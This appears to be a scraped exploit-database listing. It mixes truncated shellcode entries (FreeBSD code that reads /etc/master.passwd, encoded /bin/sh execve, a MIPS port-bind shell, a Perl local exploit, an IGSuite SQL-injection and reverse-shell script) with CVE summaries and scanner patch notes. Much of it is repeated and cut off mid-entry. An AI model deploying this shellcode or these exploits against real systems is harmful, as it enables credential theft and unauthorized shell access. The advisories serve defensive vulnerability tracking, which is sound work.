/bin/sh Polymorphic shellcode with printable ASCII characters

Exploit for generator platform in category shellcode ============================================================= /bin/sh Polymorphic shellcode with printable ASCII characters =============================================================...

freebsd/x86 /bin/cat /etc/master.passwd (NULL free) 65 bytes

No description provided by source. ; sm4x 2008 ; /bin/cat /etc/master.passwd ; 65 bytes ; FreeBSD 7.0-RELEASE global start start: xor eax, eax ; --- setuid0 push eax push eax mov al, 0x17 int 0x80 ; --- setup /etc/master.passwd jmp short loadfile ok: pop esi ; setup /bin/cat push eax push...

freebsd/x86 /bin/cat /etc/master.passwd (NULL free) 65 bytes

No description provided by source. ; sm4x 2008 ; /bin/cat /etc/master.passwd ; 65 bytes ; FreeBSD 7.0-RELEASE global start start: xor eax, eax ; --- setuid0 push eax push eax mov al, 0x17 int 0x80 ; --- setup /etc/master.passwd jmp short loadfile ok: pop esi ; setup /bin/cat push eax push...

freebsd/x86 - /bin/cat /etc/master.passwd NULL free 65 bytes

freebsd/x86 /bin/cat /etc/master.passwd NULL free 65 bytes. Shellcode exploit for freebsdx86 platform ; sm4x 2008 ; /bin/cat /etc/master.passwd ; 65 bytes ; FreeBSD 7.0-RELEASE global start start: xor eax, eax ; --- setuid0 push eax push eax mov al, 0x17 int 0x80 ; --- setup /etc/master.passwd jm...

freebsd/x86 /bin/cat /etc/master.passwd (NULL free) 65 bytes

Exploit for freebsd/x86 platform in category shellcode ============================================================ freebsd/x86 /bin/cat /etc/master.passwd NULL free 65 bytes ============================================================ ; sm4x 2008 ; /bin/cat /etc/master.passwd ; 65 bytes ; FreeBS...

freebsd/x86 encrypted shellcode /bin/sh 48 bytes

No description provided by source. / Encoded SUB shellcode execve /bin/sh of 48 bytes by [email protected] c0d3z3r0 Hack 'n Roll / char shellcode = "\x31\xd2" "\xeb\x0e" "\x31\xdb" "\x5b" "\xb1\x19" "\x83\x2c\x1a\x01" "\x42" "\xe2\xf9" "\xeb\x05" "\xe8\xed\xff\xff\xff" "\x32\xc1"...

freebsd/x86 - encrypted shellcode /bin/sh 48 bytes

freebsd/x86 encrypted shellcode /bin/sh 48 bytes. Shellcode exploit for freebsdx86 platform / Encoded SUB shellcode execve /bin/sh of 48 bytes by [email protected] Hack 'n Roll / char shellcode = "\x31\xd2" "\xeb\x0e" "\x31\xdb" "\x5b" "\xb1\x19" "\x83\x2c\x1a\x01" "\x42" "\xe2\xf9"...

freebsd/x86 encrypted shellcode /bin/sh 48 bytes

Exploit for freebsd/x86 platform in category shellcode ================================================ freebsd/x86 encrypted shellcode /bin/sh 48 bytes ================================================ / Encoded SUB shellcode execve /bin/sh of 48 bytes by email protected Hack 'n Roll / char...

linux/mips (Linksys WRT54G/GL) port bind shellcode 276 bytes

Exploit for linux/mips platform in category shellcode ============================================================ linux/mips Linksys WRT54G/GL port bind shellcode 276 bytes ============================================================ / - MIPS little-endian - linux port listener 276 bytes shellco...

CVE-2008-3411: Improper Authentication

The Axesstel AXW-D800 modem with D2ETH10901VEBR Jun-14-2006 software does not require authentication for 1 etc/config/System.html, 2 etc/config/Network.html, 3 etc/config/Security.html, 4 cgi-bin/sysconf.cgi, and 5 cgi-bin/route.cgi, which allows remote attackers to change the modem's configurati...

Aeon 0.2a Local Linux Exploit (perl code)

No description provided by source. !/usr/bin/perl Aeon-mail relay agent for Linux written by lammat just for practice purposes tested against aeon-0.2a http://grpower.ath.cx [email protected] execve/bin/sh for linux x86 29 bytes by Matias Sedalo $shellcode =...

linux/mips execve /bin/sh 56 bytes

No description provided by source. / 56 bytes execve /bin/sh shellcode - linux-mipsel - by core [email protected] Note: For MIPS running in little-endian mode. Tested on a Cobalt Qube2 server running Linux 2.4.18 Greetz to bighawk... i couldn't get his execve to work for some reason :/ / char code ...

CVE-2008-2835

CVE-2008-2835 affects IGSuite 3.2.4 with a SQL injection in cgi-bin/igsuite via the formid parameter, enabling remote attackers to execute arbitrary SQL commands. Public exploit references exist (Exploit-DB), but the provided documents do not include a remediation or patch details.

CVE-2008-2835: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in cgi-bin/igsuite in IGSuite 3.2.4 allows remote attackers to execute arbitrary SQL commands via the formid parameter...

IGSuite 3.2.4 - Reverse Shell / Blind SQL Injection

!/usr/bin/perl 05/18/2008 - IGSuite 3.2.4 Blind SQL Injection - ksOSe 05/21/2008 - Vendor notified 05/23/2008 - A patch was pushed via the igsuited daemonnot enabled by default Fix: run igsuited --update-igsuite or upgrade to 3.2.5-beta. Tested on IGSuite 3.2.4 on linux with MySQL, needs ncin pat...

solaris/x86 execve /bin/sh toupper evasion 84 bytes

No description provided by source. / Solaris/x86 Used for toupper evasion look to the linux version for an explanation and usage example. / char c0de = / main: / "\xeb\x33" / jmp callz / / start: /...

Barracuda Spam Firewall cgi-bin/ldap_test.cgi email Parameter XSS

According to its firmware version, the remote Barracuda Spam Firewall device fails to filter input to the 'email' parameter of the '/cgi-bin/ldaptest.cgi' script before using it to generate dynamic content. An unauthenticated, remote attacker may be able to leverage this issue to inject arbitrary...

Canna irw_through Buffer Overflow Vulnerability

Overview Canna contains a buffer overflow vulnerability in the irwthrough function. Impact A local attacker could execute arbitrary code with the privileges of the 'bin' user. Solution Please refer to the 'Vendor Information' section for official remediation and take appropriate action...

AIX 5.2 TL 10 : bos.rte.control (U815051)

The remote host is missing AIX PTF U815051, which is related to the security of the package bos.rte.control. An information leak exists in the 'bos.rte.control' fileset commands listed below. A local attacker may access sensitive information for arbitrary processes. The following commands are...

openSUSE 10 Security Update : texlive-bin (texlive-bin-5221)

Buffer overflows in dvips and dviljk could be triggered by specially crafted dvi files CVE-2007-5935, CVE-2007-5937. dvips additionally created temporary files in an insecure manner CVE-2007-5936. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this...